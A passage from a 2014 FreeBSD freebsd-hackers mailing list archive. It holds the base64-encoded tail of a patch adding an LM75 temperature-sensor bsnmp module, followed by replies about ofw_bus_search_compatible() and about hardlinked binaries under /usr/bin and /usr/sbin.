VVNFLCBEQVRBLCBPUiBQUk9GSVRTOyBPUiBCVVNJTkVTUyBJTlRFUlJVUFRJT04pCisgKiBIT1dF VkVSIENBVVNFRCBBTkQgT04gQU5ZIFRIRU9SWSBPRiBMSUFCSUxJVFksIFdIRVRIRVIgSU4gQ09O VFJBQ1QsIFNUUklDVAorICogTElBQklMSVRZLCBPUiBUT1JUIChJTkNMVURJTkcgTkVHTElHRU5D RSBPUiBPVEhFUldJU0UpIEFSSVNJTkcgSU4gQU5ZIFdBWQorICogT1VUIE9GIFRIRSBVU0UgT0Yg VEhJUyBTT0ZUV0FSRSwgRVZFTiBJRiBBRFZJU0VEIE9GIFRIRSBQT1NTSUJJTElUWSBPRgorICog U1VDSCBEQU1BR0UuCisgKi8KKworI2luY2x1ZGUgPHN5cy9jZGVmcy5oPgorX19GQlNESUQoIiRG cmVlQlNEJCIpOworCisjaW5jbHVkZSA8c3lzL3BhcmFtLmg+CisjaW5jbHVkZSA8c3lzL3F1ZXVl Lmg+CisjaW5jbHVkZSA8c3lzL3N5c2N0bC5oPgorCisjaW5jbHVkZSA8YnNubXAvc25tcG1vZC5o PgorCisjaW5jbHVkZSA8c3RkaW8uaD4KKyNpbmNsdWRlIDxzdGRsaWIuaD4KKyNpbmNsdWRlIDxz dHJpbmcuaD4KKyNpbmNsdWRlIDxzeXNsb2cuaD4KKworI2luY2x1ZGUgImxtNzVfb2lkLmgiCisj aW5jbHVkZSAibG03NV90cmVlLmgiCisKKyNpZm5kZWYJTE03NUJVRgorI2RlZmluZQlMTTc1QlVG CQk2NAorI2VuZGlmCisjZGVmaW5lCVRaX1pFUk9DCTI3MzIKKyNkZWZpbmUgVVBEQVRFX0lOVEVS VkFMCTUwMAkvKiB1cGRhdGUgaW50ZXJ2YWwgaW4gdGlja3MgKi8KKworc3RhdGljIHN0cnVjdCBs bW9kdWxlICptb2R1bGU7CisKK3N0YXRpYyBjb25zdCBzdHJ1Y3QgYXNuX29pZCBvaWRfbG03NSA9 IE9JRFhfYmVnZW1vdExtNzU7CisKKy8qIHRoZSBPYmplY3QgUmVzb3VyY2UgcmVnaXN0cmF0aW9u IGluZGV4ICovCitzdGF0aWMgdV9pbnQgbG03NV9pbmRleCA9IDA7CisKKy8qIE51bWJlciBvZiBh dmFpbGFibGUgc2Vuc29ycyBpbiB0aGUgc3lzdGVtLiAqLworc3RhdGljIGludCBsbTc1X3NlbnNv cnM7CisKKy8qCisgKiBTdHJ1Y3R1cmUgdGhhdCBkZXNjcmliZXMgc2luZ2xlIHNlbnNvci4KKyAq Lworc3RydWN0IGxtNzVfc25tcF9zZW5zb3IgeworCVRBSUxRX0VOVFJZKGxtNzVfc25tcF9zZW5z b3IpIGxpbms7CisJaW50MzJfdAkJaW5kZXg7CisJaW50MzJfdAkJc3lzY3RsaWR4OworCWludDMy X3QJCXRlbXA7CisJY2hhcgkJZGVzY1tMTTc1QlVGXTsKKwljaGFyCQlsb2NhdGlvbltMTTc1QlVG XTsKKwljaGFyCQlwYXJlbnRbTE03NUJVRl07CisJY2hhcgkJcG5waW5mb1tMTTc1QlVGXTsKK307 CisKK3N0YXRpYyBUQUlMUV9IRUFEKCwgbG03NV9zbm1wX3NlbnNvcikgc2Vuc29ycyA9CisgICAg VEFJTFFfSEVBRF9JTklUSUFMSVpFUihzZW5zb3JzKTsKKworLyogVGlja3Mgb2YgdGhlIGxhc3Qg c2Vuc29ycyByZWFkaW5nLiAqLworc3RhdGljIHVpbnQ2NF90IGxhc3Rfc2Vuc29yc191cGRhdGU7 CisKK3N0YXRpYyB2b2lkIGZyZWVfc2Vuc29ycyh2b2lkKTsKK3N0YXRpYyBpbnQgbG03NV9maW5p KHZvaWQpOworc3RhdGljIGludCBsbTc1X2luaXQoc3RydWN0IGxtb2R1bGUgKm1vZCwgaW50IGFy Z2MsIGNoYXIgKmFyZ3ZbXSk7CitzdGF0aWMgdm9pZCBsbTc1X3N0YXJ0KHZvaWQpOworc3RhdGlj IGludCB1cGRhdGVfc2Vuc29ycyh2b2lkKTsKKworY29uc3Qgc3RydWN0IHNubXBfbW9kdWxlIGNv bmZpZyA9IHsKKyAgICAuY29tbWVudCAgID0KKwkiVGhpcyBtb2R1bGUgaW1wbGVtZW50cyB0aGUg QkVHRU1PVCBNSUIgZm9yIHJlYWRpbmcgTE03NSBzZW5zb3JzIGRhdGEuIiwKKyAgICAuaW5pdCAg ICAgID0gbG03NV9pbml0LAorICAgIC5zdGFydCAgICAgPSBsbTc1X3N0YXJ0LAorICAgIC5maW5p ICAgICAgPSBsbTc1X2ZpbmksCisgICAgLnRyZWUgICAgICA9IGxtNzVfY3RyZWUsCisgICAgLnRy ZWVfc2l6ZSA9IGxtNzVfQ1RSRUVfU0laRSwKK307CisKK3N0YXRpYyBpbnQKK2xtNzVfaW5pdChz dHJ1Y3QgbG1vZHVsZSAqbW9kLCBpbnQgYXJnYyBfX3VudXNlZCwgY2hhciAqYXJndltdIF9fdW51 c2VkKQoreworCisJbW9kdWxlID0gbW9kOworCisJbG03NV9zZW5zb3JzID0gMDsKKwlvcGVubG9n KCJzbm1wX2xtNzUiLCBMT0dfTkRFTEFZIHwgTE9HX1BJRCwgTE9HX0RBRU1PTik7CisKKwlyZXR1 cm4oMCk7Cit9CisKK3N0YXRpYyB2b2lkCitsbTc1X3N0YXJ0KHZvaWQpCit7CisKKwlsbTc1X2lu ZGV4ID0gb3JfcmVnaXN0ZXIoJm9pZF9sbTc1LAorCSAgICAiVGhlIE1JQiBtb2R1bGUgZm9yIHJl YWRpbmcgbG03NSBzZW5zb3JzIGRhdGEuIiwgbW9kdWxlKTsKK30KKworc3RhdGljIGludAorbG03 NV9maW5pKHZvaWQpCit7CisKKwlvcl91bnJlZ2lzdGVyKGxtNzVfaW5kZXgpOworCWZyZWVfc2Vu c29ycygpOworCWNsb3NlbG9nKCk7CisKKwlyZXR1cm4gKDApOworfQorCitzdGF0aWMgdm9pZAor ZnJlZV9zZW5zb3JzKHZvaWQpCit7CisJc3RydWN0IGxtNzVfc25tcF9zZW5zb3IgKnNlbnNvcjsK KworCXdoaWxlICgoc2Vuc29yID0gVEFJTFFfRklSU1QoJnNlbnNvcnMpKSAhPSBOVUxMKSB7CisJ CVRBSUxRX1JFTU9WRSgmc2Vuc29ycywgc2Vuc29yLCBsaW5rKTsKKwkJZnJlZShzZW5zb3IpOwor CX0KK30KKworc3RhdGljIGludAorc3lzY3RsbmFtZShpbnQgKm9pZCwgaW50IG5sZW4sIGNoYXIg Km5hbWUsIHNpemVfdCBsZW4pCit7CisJaW50IG1pYlsxMl07CisKKwlpZiAobmxlbiA+IChpbnQp c2l6ZW9mKG1pYikgKyAyKQorCQlyZXR1cm4gKC0xKTsKKworCW1pYlswXSA9IDA7CisJbWliWzFd ID0gMTsKKwltZW1jcHkobWliICsgMiwgb2lkLCBubGVuICogc2l6ZW9mKGludCkpOworCisJaWYg KHN5c2N0bChtaWIsIG5sZW4gKyAyLCBuYW1lLCAmbGVuLCAwLCAwKSA9PSAtMSkKKwkJcmV0dXJu ICgtMSk7CisKKwlyZXR1cm4gKDApOworfQorCitzdGF0aWMgaW50CitzeXNjdGxnZXRuZXh0KGlu dCAqb2lkLCBpbnQgbmxlbiwgaW50ICpuZXh0LCBzaXplX3QgKm5leHRsZW4pCit7CisJaW50IG1p YlsxMl07CisKKwlpZiAobmxlbiAgPiAoaW50KXNpemVvZihtaWIpICsgMikKKwkJcmV0dXJuICgt MSk7CisKKwltaWJbMF0gPSAwOworCW1pYlsxXSA9IDI7CisJbWVtY3B5KG1pYiArIDIsIG9pZCwg bmxlbiAqIHNpemVvZihpbnQpKTsKKworCWlmIChzeXNjdGwobWliLCBubGVuICsgMiwgbmV4dCwg bmV4dGxlbiwgMCwgMCkgPT0gLTEpCisJCXJldHVybiAoLTEpOworCisJcmV0dXJuICgwKTsKK30K Kworc3RhdGljIGludAordXBkYXRlX3NlbnNvcl9zeXNjdGwoY2hhciAqb2J1Ziwgc2l6ZV90ICpv YnVmbGVuLCBpbnQgaWR4LCBjb25zdCBjaGFyICpuYW1lKQoreworCWNoYXIgYnVmW0xNNzVCVUZd OworCWludCBtaWJbNV07CisJc2l6ZV90IGxlbjsKKworCS8qIEZpbGwgb3V0IHRoZSBtaWIgaW5m b3JtYXRpb24uICovCisJc25wcmludGYoYnVmLCBzaXplb2YoYnVmKSAtIDEsICJkZXYubG03NS4l ZC4lcyIsIGlkeCwgbmFtZSk7CisJbGVuID0gNDsKKwlpZiAoc3lzY3RsbmFtZXRvbWliKGJ1Ziwg bWliLCAmbGVuKSA9PSAtMSkKKwkJcmV0dXJuICgtMSk7CisKKwkvKiBSZWFkIHRoZSBzeXNjdGwg ZGF0YS4gKi8KKwlpZiAoc3lzY3RsKG1pYiwgbGVuLCBvYnVmLCBvYnVmbGVuLCBOVUxMLCAwKSA9 PSAtMSkKKwkJcmV0dXJuICgtMSk7CisKKwlyZXR1cm4gKDApOworfQorCitzdGF0aWMgdm9pZAor dXBkYXRlX3NlbnNvcihzdHJ1Y3QgbG03NV9zbm1wX3NlbnNvciAqc2Vuc29yLCBpbnQgaWR4KQor eworCXNpemVfdCBsZW47CisKKwlsZW4gPSBzaXplb2Yoc2Vuc29yLT5kZXNjKTsKKwl1cGRhdGVf c2Vuc29yX3N5c2N0bChzZW5zb3ItPmRlc2MsICZsZW4sIGlkeCwgIiVkZXNjIik7CisKKwlsZW4g PSBzaXplb2Yoc2Vuc29yLT5sb2NhdGlvbik7CisJdXBkYXRlX3NlbnNvcl9zeXNjdGwoc2Vuc29y LT5sb2NhdGlvbiwgJmxlbiwgaWR4LCAiJWxvY2F0aW9uIik7CisKKwlsZW4gPSBzaXplb2Yoc2Vu c29yLT5wbnBpbmZvKTsKKwl1cGRhdGVfc2Vuc29yX3N5c2N0bChzZW5zb3ItPnBucGluZm8sICZs ZW4sIGlkeCwgIiVwbnBpbmZvIik7CisKKwlsZW4gPSBzaXplb2Yoc2Vuc29yLT5wYXJlbnQpOwor CXVwZGF0ZV9zZW5zb3Jfc3lzY3RsKHNlbnNvci0+cGFyZW50LCAmbGVuLCBpZHgsICIlcGFyZW50 Iik7Cit9CisKK3N0YXRpYyBpbnQKK2FkZF9zZW5zb3IoY2hhciAqYnVmLCBzaXplX3QgbmxlbikK K3sKKwlpbnQgaWR4LCBtaWJbNV0sIHRlbXA7CisJc2l6ZV90IGxlbjsKKwlzdHJ1Y3QgbG03NV9z bm1wX3NlbnNvciAqc2Vuc29yOworCisJaWYgKHNzY2FuZihidWYsICJkZXYubG03NS4lZC50ZW1w ZXJhdHVyZSIsICZpZHgpICE9IDEpCisJCXJldHVybiAoLTEpOworCisJLyogRmlsbCBvdXQgdGhl IG1pYiBpbmZvcm1hdGlvbi4gKi8KKwlpZiAoc3lzY3RsbmFtZXRvbWliKGJ1ZiwgbWliLCAmbmxl bikgPT0gLTEpCisJCXJldHVybiAoLTEpOworCisJLyogUmVhZCB0aGUgc2Vuc29yIHRlbXBlcmF0 dXJlLiAqLworCWxlbiA9IHNpemVvZih0ZW1wKTsKKwlpZiAoc3lzY3RsKG1pYiwgbmxlbiwgJnRl bXAsICZsZW4sIE5VTEwsIDApID09IC0xKQorCQlyZXR1cm4gKC0xKTsKKworCS8qIEFkZCB0aGUg c2Vuc29yIGRhdGEgdG8gdGhlIHRhYmxlLiAqLworCXNlbnNvciA9IGNhbGxvYygxLCBzaXplb2Yo KnNlbnNvcikpOworCWlmIChzZW5zb3IgPT0gTlVMTCkgeworCQlzeXNsb2coTE9HX0VSUiwgIlVu YWJsZSB0byBhbGxvY2F0ZSAlenUgYnl0ZXMgZm9yIHJlc291cmNlIiwKKwkJICAgIHNpemVvZigq c2Vuc29yKSk7CisJCXJldHVybiAoLTEpOworCX0KKwlzZW5zb3ItPmluZGV4ID0gKytsbTc1X3Nl bnNvcnM7CisJc2Vuc29yLT5zeXNjdGxpZHggPSBpZHg7CisJc2Vuc29yLT50ZW1wID0gKHRlbXAg LSBUWl9aRVJPQykgLyAxMDsKKwlUQUlMUV9JTlNFUlRfVEFJTCgmc2Vuc29ycywgc2Vuc29yLCBs aW5rKTsKKworCXVwZGF0ZV9zZW5zb3Ioc2Vuc29yLCBpZHgpOworCisJcmV0dXJuICgwKTsKK30K Kworc3RhdGljIGludAordXBkYXRlX3NlbnNvcnModm9pZCkKK3sKKwljaGFyIGJ1ZltMTTc1QlVG XTsKKwlpbnQgaSwgcm9vdFs1XSwgKm5leHQsICpvaWQ7CisJc2l6ZV90IGxlbiwgbmV4dGxlbiwg cm9vdGxlbjsKKwlzdGF0aWMgdWludDY0X3Qgbm93OworCisJbm93ID0gZ2V0X3RpY2tzKCk7CisJ aWYgKG5vdyAtIGxhc3Rfc2Vuc29yc191cGRhdGUgPCBVUERBVEVfSU5URVJWQUwpCisJCXJldHVy biAoMCk7CisKKwlsYXN0X3NlbnNvcnNfdXBkYXRlID0gbm93OworCisJLyogUmVzZXQgdGhlIHNl bnNvciBkYXRhLiAqLworCWZyZWVfc2Vuc29ycygpOworCWxtNzVfc2Vuc29ycyA9IDA7CisKKwkv KiBTdGFydCBmcm9tIHRoZSBsbTc1IGRlZmF1bHQgcm9vdCBub2RlLiAqLworCXJvb3RsZW4gPSAy OworCWlmIChzeXNjdGxuYW1ldG9taWIoImRldi5sbTc1Iiwgcm9vdCwgJnJvb3RsZW4pID09IC0x KQorCQlyZXR1cm4gKDApOworCisJb2lkID0gKGludCAqKW1hbGxvYyhzaXplb2YoaW50KSAqIHJv b3RsZW4pOworCWlmIChvaWQgPT0gTlVMTCkgeworCQlwZXJyb3IoIm1hbGxvYyIpOworCQlyZXR1 cm4gKC0xKTsKKwl9CisJbWVtY3B5KG9pZCwgcm9vdCwgcm9vdGxlbiAqIHNpemVvZihpbnQpKTsK KwlsZW4gPSByb290bGVuOworCisJLyogVHJhdmVyc2UgdGhlIHN5c2N0bCgzKSBpbnRlcmZhY2Ug YW5kIGZpbmQgdGhlIGFjdGl2ZSBzZW5zb3JzLiAqLworCWZvciAoOzspIHsKKworCQkvKiBGaW5k IHRoZSBzaXplIG9mIHRoZSBuZXh0IG1pYi4gKi8KKwkJbmV4dGxlbiA9IDA7CisJCWlmIChzeXNj dGxnZXRuZXh0KG9pZCwgbGVuLCBOVUxMLCAmbmV4dGxlbikgPT0gLTEpIHsKKwkJCWZyZWUob2lk KTsKKwkJCXJldHVybiAoMCk7CisJCX0KKwkJLyogQWxvY2F0ZSBhbmQgcmVhZCB0aGUgbmV4dCBt aWIuICovCisJCW5leHQgPSAoaW50ICopbWFsbG9jKG5leHRsZW4pOworCQlpZiAobmV4dCA9PSBO VUxMKSB7CisJCQlzeXNsb2coTE9HX0VSUiwKKwkJCSAgICAiVW5hYmxlIHRvIGFsbG9jYXRlICV6 dSBieXRlcyBmb3IgcmVzb3VyY2UiLAorCQkJICAgIG5leHRsZW4pOworCQkJZnJlZShvaWQpOwor CQkJcmV0dXJuICgtMSk7CisJCX0KKwkJaWYgKHN5c2N0bGdldG5leHQob2lkLCBsZW4sIG5leHQs ICZuZXh0bGVuKSA9PSAtMSkgeworCQkJZnJlZShvaWQpOworCQkJZnJlZShuZXh0KTsKKwkJCXJl dHVybiAoMCk7CisJCX0KKwkJZnJlZShvaWQpOworCQkvKiBDaGVjayBpZiB3ZSBjYXJlIGFib3V0 IHRoZSBuZXh0IG1pYi4gKi8KKwkJZm9yIChpID0gMDsgaSA8IChpbnQpcm9vdGxlbjsgaSsrKQor CQkJaWYgKG5leHRbaV0gIT0gcm9vdFtpXSkgeworCQkJCWZyZWUobmV4dCk7CisJCQkJcmV0dXJu ICgwKTsKKwkJCX0KKwkJb2lkID0gKGludCAqKW1hbGxvYyhuZXh0bGVuKTsKKwkJaWYgKG9pZCA9 PSBOVUxMKSB7CisJCQlzeXNsb2coTE9HX0VSUiwKKwkJCSAgICAiVW5hYmxlIHRvIGFsbG9jYXRl ICV6dSBieXRlcyBmb3IgcmVzb3VyY2UiLAorCQkJICAgIG5leHRsZW4pOworCQkJZnJlZShuZXh0 KTsKKwkJCXJldHVybiAoLTEpOworCQl9CisJCW1lbWNweShvaWQsIG5leHQsIG5leHRsZW4pOwor CQlmcmVlKG5leHQpOworCQlsZW4gPSBuZXh0bGVuIC8gc2l6ZW9mKGludCk7CisKKwkJLyogRmlu ZCB0aGUgbWliIG5hbWUuICovCisJCWlmIChzeXNjdGxuYW1lKG9pZCwgbGVuLCBidWYsIHNpemVv ZihidWYpKSAhPSAwKQorCQkJY29udGludWU7CisKKwkJaWYgKHN0cnN0cihidWYsICJ0ZW1wZXJh dHVyZSIpKQorCQkJaWYgKGFkZF9zZW5zb3IoYnVmLCBsZW4pICE9IDApIHsKKwkJCQlmcmVlKG9p ZCk7CisJCQkJcmV0dXJuICgtMSk7CisJCQl9CisJfQorCisJcmV0dXJuICgwKTsKK30KKworaW50 CitvcF9sbTc1U2Vuc29ycyhzdHJ1Y3Qgc25tcF9jb250ZXh0ICpjb250ZXh0IF9fdW51c2VkLCBz dHJ1Y3Qgc25tcF92YWx1ZSAqdmFsdWUsCisgICAgdV9pbnQgc3ViLCB1X2ludCBpaWR4IF9fdW51 c2VkLCBlbnVtIHNubXBfb3Agb3ApCit7CisJYXNuX3N1YmlkX3Qgd2hpY2g7CisKKwlpZiAodXBk YXRlX3NlbnNvcnMoKSA9PSAtMSkKKwkJcmV0dXJuIChTTk1QX0VSUl9SRVNfVU5BVkFJTCk7CisK Kwl3aGljaCA9IHZhbHVlLT52YXIuc3Vic1tzdWIgLSAxXTsKKworCXN3aXRjaCAob3ApIHsKKwlj YXNlIFNOTVBfT1BfR0VUOgorCQlzd2l0Y2ggKHdoaWNoKSB7CisJCWNhc2UgTEVBRl9sbTc1U2Vu c29yczoKKwkJCXZhbHVlLT52LmludGVnZXIgPSBsbTc1X3NlbnNvcnM7CisJCQlicmVhazsKKwkJ ZGVmYXVsdDoKKwkJCXJldHVybiAoU05NUF9FUlJfUkVTX1VOQVZBSUwpOworCQl9CisJCWJyZWFr OworCWNhc2UgU05NUF9PUF9TRVQ6CisJCXJldHVybiAoU05NUF9FUlJfTk9UX1dSSVRFQUJMRSk7 CisJY2FzZSBTTk1QX09QX0dFVE5FWFQ6CisJY2FzZSBTTk1QX09QX1JPTExCQUNLOgorCWNhc2Ug U05NUF9PUF9DT01NSVQ6CisJCXJldHVybiAoU05NUF9FUlJfTk9FUlJPUik7CisJZGVmYXVsdDoK KwkJcmV0dXJuIChTTk1QX0VSUl9SRVNfVU5BVkFJTCk7CisJfQorCisJcmV0dXJuIChTTk1QX0VS Ul9OT0VSUk9SKTsKK30KKworaW50CitvcF9sbTc1U2Vuc29yVGFibGUoc3RydWN0IHNubXBfY29u dGV4dCAqY29udGV4dCBfX3VudXNlZCwKKyAgICBzdHJ1Y3Qgc25tcF92YWx1ZSAqdmFsdWUsIHVf aW50IHN1YiwgdV9pbnQgaWlkeCBfX3VudXNlZCwgZW51bSBzbm1wX29wIG9wKQoreworCXN0cnVj dCBsbTc1X3NubXBfc2Vuc29yICpzZW5zb3I7CisJYXNuX3N1YmlkX3Qgd2hpY2g7CisJaW50IHJl dDsKKworCWlmICh1cGRhdGVfc2Vuc29ycygpID09IC0xKQorCQlyZXR1cm4gKFNOTVBfRVJSX1JF U19VTkFWQUlMKTsKKworCXdoaWNoID0gdmFsdWUtPnZhci5zdWJzW3N1YiAtIDFdOworCisJc3dp dGNoIChvcCkgeworCWNhc2UgU05NUF9PUF9HRVRORVhUOgorCQlzZW5zb3IgPSBORVhUX09CSkVD VF9JTlQoJnNlbnNvcnMsICZ2YWx1ZS0+dmFyLCBzdWIpOworCQlpZiAoc2Vuc29yID09IE5VTEwp CisJCQlyZXR1cm4gKFNOTVBfRVJSX05PU1VDSE5BTUUpOworCQl2YWx1ZS0+dmFyLmxlbiA9IHN1 YiArIDE7CisJCXZhbHVlLT52YXIuc3Vic1tzdWJdID0gc2Vuc29yLT5pbmRleDsKKwkJYnJlYWs7 CisJY2FzZSBTTk1QX09QX0dFVDoKKwkJaWYgKHZhbHVlLT52YXIubGVuIC0gc3ViICE9IDEpCisJ CQlyZXR1cm4gKFNOTVBfRVJSX05PU1VDSE5BTUUpOworCQlzZW5zb3IgPSBGSU5EX09CSkVDVF9J TlQoJnNlbnNvcnMsICZ2YWx1ZS0+dmFyLCBzdWIpOworCQlpZiAoc2Vuc29yID09IE5VTEwpCisJ CQlyZXR1cm4gKFNOTVBfRVJSX05PU1VDSE5BTUUpOworCQlicmVhazsKKwljYXNlIFNOTVBfT1Bf U0VUOgorCQlyZXR1cm4gKFNOTVBfRVJSX05PVF9XUklURUFCTEUpOworCWNhc2UgU05NUF9PUF9S T0xMQkFDSzoKKwljYXNlIFNOTVBfT1BfQ09NTUlUOgorCQlyZXR1cm4gKFNOTVBfRVJSX05PRVJS T1IpOworCWRlZmF1bHQ6CisJCXJldHVybiAoU05NUF9FUlJfUkVTX1VOQVZBSUwpOworCX0KKwor CXJldCA9IFNOTVBfRVJSX05PRVJST1I7CisKKwlzd2l0Y2ggKHdoaWNoKSB7CisJY2FzZSBMRUFG X2xtNzVTZW5zb3JJbmRleDoKKwkJdmFsdWUtPnYuaW50ZWdlciA9IHNlbnNvci0+aW5kZXg7CisJ CWJyZWFrOworCWNhc2UgTEVBRl9sbTc1U2Vuc29yU3lzY3RsSW5kZXg6CisJCXZhbHVlLT52Lmlu dGVnZXIgPSBzZW5zb3ItPnN5c2N0bGlkeDsKKwkJYnJlYWs7CisJY2FzZSBMRUFGX2xtNzVTZW5z b3JEZXNjOgorCQlyZXQgPSBzdHJpbmdfZ2V0KHZhbHVlLCBzZW5zb3ItPmRlc2MsIC0xKTsKKwkJ YnJlYWs7CisJY2FzZSBMRUFGX2xtNzVTZW5zb3JMb2NhdGlvbjoKKwkJcmV0ID0gc3RyaW5nX2dl dCh2YWx1ZSwgc2Vuc29yLT5sb2NhdGlvbiwgLTEpOworCQlicmVhazsKKwljYXNlIExFQUZfbG03 NVNlbnNvclBucEluZm86CisJCXJldCA9IHN0cmluZ19nZXQodmFsdWUsIHNlbnNvci0+cG5waW5m bywgLTEpOworCQlicmVhazsKKwljYXNlIExFQUZfbG03NVNlbnNvclBhcmVudDoKKwkJcmV0ID0g c3RyaW5nX2dldCh2YWx1ZSwgc2Vuc29yLT5wYXJlbnQsIC0xKTsKKwkJYnJlYWs7CisJY2FzZSBM RUFGX2xtNzVTZW5zb3JUZW1wZXJhdHVyZToKKwkJdmFsdWUtPnYuaW50ZWdlciA9IHNlbnNvci0+ dGVtcDsKKwkJYnJlYWs7CisJZGVmYXVsdDoKKwkJcmV0ID0gU05NUF9FUlJfUkVTX1VOQVZBSUw7 CisJCWJyZWFrOworCX0KKworCXJldHVybiAocmV0KTsKK30KClByb3BlcnR5IGNoYW5nZXMgb246 IHVzci5zYmluL2Jzbm1wZC9tb2R1bGVzL3NubXBfbG03NS9zbm1wX2xtNzUuYwpfX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f CkFkZGVkOiBzdm46ZW9sLXN0eWxlCiMjIC0wLDAgKzEgIyMKK25hdGl2ZQpcIE5vIG5ld2xpbmUg YXQgZW5kIG9mIHByb3BlcnR5CkFkZGVkOiBzdm46bWltZS10eXBlCiMjIC0wLDAgKzEgIyMKK3Rl eHQvcGxhaW4KXCBObyBuZXdsaW5lIGF0IGVuZCBvZiBwcm9wZXJ0eQpBZGRlZDogc3ZuOmtleXdv cmRzCiMjIC0wLDAgKzEgIyMKK0ZyZWVCU0Q9JUgKXCBObyBuZXdsaW5lIGF0IGVuZCBvZiBwcm9w ZXJ0eQo= --001a11c266c465a18604f5977b8d-- From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 27 15:08:16 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9872376F for ; Thu, 27 Mar 2014 15:08:16 +0000 (UTC) Received: from mho-02-ewr.mailhop.org (mho-02-ewr.mailhop.org [204.13.248.72]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 6B2E0BFA for ; Thu, 27 Mar 2014 15:08:16 +0000 (UTC) Received: from c-24-8-230-52.hsd1.co.comcast.net ([24.8.230.52] helo=damnhippie.dyndns.org) by mho-02-ewr.mailhop.org with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.72) (envelope-from ) id 1WTBuh-00043s-5w; Thu, 27 Mar 2014 15:08:15 +0000 Received: from [172.22.42.240] (revolution.hippie.lan [172.22.42.240]) by damnhippie.dyndns.org (8.14.3/8.14.3) with ESMTP id s2RF8CU3078811; Thu, 27 Mar 2014 09:08:12 -0600 (MDT) (envelope-from ian@FreeBSD.org) X-Mail-Handler: Dyn Standard SMTP by Dyn X-Originating-IP: 24.8.230.52 X-Report-Abuse-To: abuse@dyndns.com (see http://www.dyndns.com/services/sendlabs/outbound_abuse.html for abuse reporting information) X-MHO-User: U2FsdGVkX18JmMq4DwkkIvgFZbNbd6Ga Subject: Re: [RFC] lm75 kernel driver and bsnmp module From: Ian Lepore To: Warner Losh In-Reply-To: <4B0E494C-A289-435C-89AA-29DEB1A4EAD9@gmail.com> References: <4B0E494C-A289-435C-89AA-29DEB1A4EAD9@gmail.com> Content-Type: text/plain; charset="iso-8859-7" Date: Thu, 27 Mar 2014 09:08:12 -0600 Message-ID: <1395932892.81853.96.camel@revolution.hippie.lan> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by damnhippie.dyndns.org id s2RF8CU3078811 Cc: freebsd-hackers@FreeBSD.org, Luiz Otavio O Souza X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Mar 2014 15:08:16 -0000 On Tue, 2014-03-18 at 08:26 -0600, Warner Losh wrote: > On Mar 17, 2014, at 8:11 AM, Luiz Otavio O Souza w= rote: > [...] > + sc->sc_hwtype =3D ofw_bus_search_compatible(dev, compat_data)->ocd_da= ta; >=20 > I don=A2t think that the NULL binding is guaranteed to work that way, s= o > I=A2d suggest dropping the NULL line above and testing explicitly for N= ULL > here instead. I missed this comment when it first flew by... I specifically wrote ofw_bus_search_compatible() to never return NULL so that we didn't have identical NULL-check-then-returned-value-check code in every driver. It always returns a pointer to a table entry, and if that entry is the table terminator (NULL compat string) then it returns the driver-chosen data value associated with that terminator entry. -- Ian From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 27 18:00:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 09DF3DEF; Thu, 27 Mar 2014 18:00:14 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id D8E8BF90; Thu, 27 Mar 2014 18:00:13 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id D2146B990; Thu, 27 Mar 2014 14:00:12 -0400 (EDT) From: John Baldwin To: freebsd-hackers@freebsd.org Subject: Re: 9.2 base bins hardlinks Date: Thu, 27 Mar 2014 11:39:20 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <20140323.101719.508.1@DOMY-PC> In-Reply-To: <20140323.101719.508.1@DOMY-PC> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201403271139.20196.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Thu, 27 Mar 2014 14:00:12 -0400 (EDT) Cc: rank1seeker@gmail.com, hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Mar 2014 18:00:14 -0000 On Sunday, March 23, 2014 6:17:19 am rank1seeker@gmail.com wrote: > FreeBSD 9.2-RELEASE-p3 i386 > > All 4 have a same inode, that is, they hardlink to 1 file > # ls -i /bin/pgrep /usr/bin/pgrep > # ls -i /bin/pkill /usr/bin/pkill > > Also ... > # ls -i /sbin/nologin /usr/sbin/nologin > > > In all cases, why is there also one in '/usr/(s)bin' ? Because they moved, and some folks might have the old path hardcoded. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 27 18:00:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 99D6EDF2; Thu, 27 Mar 2014 18:00:16 +0000 